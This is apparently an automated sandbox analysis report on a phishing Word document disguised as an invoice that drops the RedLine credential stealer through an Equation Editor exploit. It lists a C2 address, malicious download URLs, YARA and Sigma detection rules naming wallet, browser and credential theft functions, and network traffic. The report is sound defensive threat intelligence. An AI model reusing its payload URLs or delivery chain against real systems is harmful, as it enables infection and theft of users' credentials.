Edit tour

Windows Analysis Report
Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc

Overview

General Information

Sample name:	Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc
Analysis ID:	1461841
MD5:	9edc82805ecc2d30f07d99973883c3c6
SHA1:	877fae637a454593a1b66bfede20356803833266
SHA256:	927e8668d7e5b22d0d278cb66ecbb15a51420f2fc5299aaa324d43a7d04719a2
Tags:	docdocx
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Microsoft Office launches external ms-search protocol handler (WebDAV)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: File Dropped By EQNEDT32EXE

Yara detected RedLine Stealer

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Contains an external reference to another file

Document exploit detected (process start blacklist hit)

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Microsoft Office drops suspicious files

Office drops RTF file

Office equation editor drops PE file

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Office viewer loads remote template

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Equation Editor Network Connection

Sigma detected: Suspicious Binary In User Directory Spawned From Office Application

Sigma detected: Suspicious Microsoft Office Child Process

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates or modifies windows services

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Document contains Microsoft Equation 3.0 OLE entries

Document misses a certain OLE stream usually present in this Microsoft Office document type

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Office Equation Editor has been started

PE file contains executable resources (Code or Archives)

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Potential key logger detected (key state polling based)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Sigma detected: Suspicious Office Outbound Connections

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 2780 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 3404 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

notorious53209.exe (PID: 3468 cmdline: "C:\Users\user\AppData\Roaming\notorious53209.exe" MD5: 901A623DBCCAA22525373CD36195EE14)

RegSvcs.exe (PID: 3536 cmdline: "C:\Users\user\AppData\Roaming\notorious53209.exe" MD5: 19855C0DC5BEC9FDF925307C57F9F5FC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["185.38.142.10:7474"], "Bot Id": "wordfile"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\notorious[1].doc	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0x2aa6e:$obj2: \objdata 0x2aa88:$obj3: \objupdate 0x2aa4a:$obj4: \objemb
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D9B70A7F.doc	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0x2aa6e:$obj2: \objdata 0x2aa88:$obj3: \objupdate 0x2aa4a:$obj4: \objemb

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000002.395538045.0000000000170000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.395538045.0000000000170000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000A.00000002.395538045.0000000000170000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
0000000A.00000002.395538045.0000000000170000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ee:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cf:$v2_6: GetUpdates
0000000C.00000002.439069013.00000000000E2000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.439069013.00000000000E2000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000C.00000002.439069013.00000000000E2000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
0000000C.00000002.439295292.00000000020F0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: notorious53209.exe PID: 3468	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: notorious53209.exe PID: 3468	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: notorious53209.exe PID: 3468	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0xc5b64:$a4: get_ScannedWallets 0xc4a0b:$a5: get_ScanTelegram 0xc57ed:$a6: get_ScanGeckoBrowsersPaths 0xc369e:$a7: <Processes>k__BackingField 0xc0bd1:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xc2fd2:$a9: <ScanFTP>k__BackingField
Process Memory Space: RegSvcs.exe PID: 3536	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 3536	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 3536	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x27f550:$a4: get_ScannedWallets 0x27e3f7:$a5: get_ScanTelegram 0x27f1d9:$a6: get_ScanGeckoBrowsersPaths 0x27d08a:$a7: <Processes>k__BackingField 0x27a5bd:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x27c9be:$a9: <ScanFTP>k__BackingField
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
10.2.notorious53209.exe.170000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.notorious53209.exe.170000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.notorious53209.exe.170000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
10.2.notorious53209.exe.170000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ee:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cf:$v2_6: GetUpdates
10.2.notorious53209.exe.170000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.notorious53209.exe.170000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.notorious53209.exe.170000.0.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
10.2.notorious53209.exe.170000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ee:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cf:$v2_6: GetUpdates
12.2.RegSvcs.exe.e0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.RegSvcs.exe.e0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.RegSvcs.exe.e0000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
12.2.RegSvcs.exe.e0000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ee:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cf:$v2_6: GetUpdates
Click to see the 7 entries

Sigma Signatures

Exploits

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3404, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\ExtExport2[1].exe

System Summary

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 104.21.74.191, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3404, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49173

Sigma detected: Suspicious Binary In User Directory Spawned From Office Application

Source: Process started

Author: Jason Lynch: Data: Command: "C:\Users\user\AppData\Roaming\notorious53209.exe", CommandLine: "C:\Users\user\AppData\Roaming\notorious53209.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\notorious53209.exe, NewProcessName: C:\Users\user\AppData\Roaming\notorious53209.exe, OriginalFileName: C:\Users\user\AppData\Roaming\notorious53209.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3404, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Users\user\AppData\Roaming\notorious53209.exe", ProcessId: 3468, ProcessName: notorious53209.exe

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Users\user\AppData\Roaming\notorious53209.exe", CommandLine: "C:\Users\user\AppData\Roaming\notorious53209.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\notorious53209.exe, NewProcessName: C:\Users\user\AppData\Roaming\notorious53209.exe, OriginalFileName: C:\Users\user\AppData\Roaming\notorious53209.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3404, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Users\user\AppData\Roaming\notorious53209.exe", ProcessId: 3468, ProcessName: notorious53209.exe

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49166, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, Initiated: true, ProcessId: 2780, Protocol: tcp, SourceIp: 104.21.74.191, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 2780, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 2780, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://universalmovies.top/	Avira URL Cloud: Label: phishing
Source: https://universalmovies.top/notorious.doc	Avira URL Cloud: Label: malware
Source: https://universalmovies.top/FB8Rj	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{CD326501-1350-4080-AA2C-AD93E1795262}.tmp

Avira: detection malicious, Label: EXP/CVE-2018-0798.Gen

Found malware configuration

Source: 12.2.RegSvcs.exe.e0000.0.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["185.38.142.10:7474"], "Bot Id": "wordfile"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\ExtExport2[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc

ReversingLabs: Detection: 36%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\ExtExport2[1].exe

Joe Sandbox ML: detected

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 104.21.74.191 Port: 443

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\notorious53209.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\notorious53209.exe			Jump to behavior

Source: ~WRF{CD326501-1350-4080-AA2C-AD93E1795262}.tmp.0.dr

Stream path '_1780736942/\x1CompObj' : ...................F....Microsoft Equation 3.0....

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: unknown	HTTPS traffic detected: 172.67.162.95:443 -> 192.168.2.22:49167 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.162.95:443 -> 192.168.2.22:49168 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.162.95:443 -> 192.168.2.22:49169 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49170 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.162.95:443 -> 192.168.2.22:49174 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49175 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49173 version: TLS 1.2

Source:

Binary string: wntdll.pdb source: notorious53209.exe, 0000000A.00000003.395345081.0000000002B50000.00000004.00001000.00020000.00000000.sdmp, notorious53209.exe, 0000000A.00000003.395468267.0000000002CB0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00294696 GetFileAttributesW,FindFirstFileW,FindClose,	10_2_00294696
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0029C93C FindFirstFileW,FindClose,	10_2_0029C93C
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0029C9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	10_2_0029C9C7
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0029F200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_0029F200
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0029F35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_0029F35D
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0029F65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_0029F65E
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00293A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00293A2B
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00293D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00293D4E
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0029BF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_0029BF27

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Source: global traffic	DNS query: name: universalmovies.top
Source: global traffic	DNS query: name: universalmovies.top
Source: global traffic	DNS query: name: universalmovies.top
Source: global traffic	DNS query: name: universalmovies.top
Source: global traffic	DNS query: name: universalmovies.top
Source: global traffic	DNS query: name: universalmovies.top
Source: global traffic	DNS query: name: universalmovies.top
Source: global traffic	DNS query: name: universalmovies.top
Source: global traffic	DNS query: name: universalmovies.top
Source: global traffic	DNS query: name: universalmovies.top
Source: global traffic	DNS query: name: universalmovies.top
Source: global traffic	DNS query: name: universalmovies.top
Source: global traffic	DNS query: name: universalmovies.top
Source: global traffic	DNS query: name: universalmovies.top
Source: global traffic	DNS query: name: api.ip.sb
Source: global traffic	DNS query: name: api.ip.sb

Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.162.95:443
